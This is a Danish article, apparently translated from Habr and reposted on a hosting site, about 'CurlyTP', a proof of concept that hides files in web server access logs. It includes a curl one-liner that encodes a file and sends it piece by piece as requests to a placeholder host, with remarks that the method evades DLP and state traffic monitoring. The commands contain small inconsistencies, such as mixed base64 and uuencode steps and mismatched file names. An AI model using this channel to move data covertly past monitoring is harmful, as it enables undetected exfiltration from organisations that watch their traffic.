Udveksling af hemmelige beskeder gennem serverlogfiler

Ifølge definitionen på Wikipedia er en død posta (dead drop) et redskab til konspiration, der bruges til at udveksle information eller genstande mellem personer, der bruger en hemmelig placering. Ideen er, at folk aldrig mødes — men de udveksler stadig information og opretholder operationel sikkerhed.

Dødsposten må ikke tiltrække opmærksomhed. Derfor bruges der ofte diskrete ting i den offline verden: en løs mursten i muren, en biblioteksbog eller et hul i et træ.

På internettet findes der mange værktøjer til kryptering og anonymisering, men selve det at bruge disse værktøjer tiltrækker opmærksomhed. Derudover kan de være blokeret på virksomhedsniveau eller statsligt niveau. Hvad skal man gøre?

Udvikleren Ryan Flowers foreslog en interessant mulighed — bruge enhver webserver som dødssted. Hvis man tænker over det, hvad gør en webserver? Den modtager anmodninger, leverer filer og skriver logfiler. Og den registrerer alle anmodninger i loggen, selv forkert formulerede!

Så enhver webserver giver mulighed for at gemme næsten hvilken som helst besked i loggen. Flowers tænkte over, hvordan dette kunne bruges.

Han foreslår denne løsning:

  1. Tag en tekstfil (hemmelig besked) og beregn dens hash (md5sum).
  2. Kode den (gzip+uuencode).
  3. Skriv den i loggen ved hjælp af en bevidst forkert anmodning til serveren.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

For at læse filen skal disse operationer udføres i omvendt rækkefølge: afkode og udpakkefilen, sammenligne hash (hash kan sikkert overføres over åbne kanaler).

Mellemrum udskiftes med =+=, så der ikke er mellemrum i adressen. Programmet, som forfatteren kaldte CurlyTP, bruger base64-kodning, ligesom ved e-mailvedhæftninger. Anmodningen foretages med nøgleordet ?transfer?, så modtageren nemt kan finde det i loggene.

Hvad ser vi i loggene i så fald?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET \/?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET \/?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET \/?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"

Som det allerede er sagt, skal operationerne udføres i omvendt rækkefølge for at modtage den hemmelige besked:

Fjernmaskine

[root@server \/home\/domain\/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's\/=+=\/ /g' > g.txt.gz.uue
[root@server \/home\/domain\/logs]# uudecode g.txt.gz.uue

[root@server \/home\/domain\/logs]# mv g.txt.gz.uue g.txt.gz
[root@server \/home\/domain\/logs]# gunzip g.txt.gz
[root@server \/home\/domain\/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Processen kan nemt automatiseres. Md5sum matcher, og filens indhold bekræfter, at alt er blevet decodet korrekt.

Metoden er meget enkel. "Pointen med denne øvelse er kun at bevise, at filer kan overføres gennem uskyldige små webanmodninger, og det fungerer på enhver webserver med normale tekstlogfiler. I bund og grund er hver webserver et skjulested!", siger Flowers.

Naturligvis fungerer metoden kun, hvis modtageren har adgang til serverens logfiler. Men mange udbydere giver f.eks. sådan adgang.

Hvordan anvender man dette?

Ryan Flowers siger, at han ikke er ekspert i informationssikkerhed og derfor ikke vil lave en liste over mulige anvendelser af CurlyTP. For ham er det blot et bevis på konceptet, at de værktøjer vi ser på daglig basis kan bruges på utraditionelle måder.

Faktisk har denne metode en række fordele i forhold til andre server-skjulesteder som Digital Dead Drop eller PirateBox: det kræver ikke særlig opsætning på serversiden eller nogen specielle protokoller — og vil ikke vække mistanke hos dem, der overvåger trafikken. Det er usandsynligt, at SORM eller et DLP-system scanner URLs for komprimerede tekstfiler.

Det er en af måderne at overføre beskeder gennem servicefiler. Man kan huske, hvordan nogle avancerede firmaer tidligere lagde jobopslag for udviklere i HTTP-overskrifterne eller i HTML-koden.

Udveksling af hemmelige beskeder gennem serverlogfiler

Ideen var, at sådanne "påskeæg" kun ville blive set af webudviklere, fordi en normal person ikke ville gennemse overskrifterne eller HTML-koden.

Udveksling af hemmelige beskeder gennem serverlogfiler

Kilde: habr.com

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster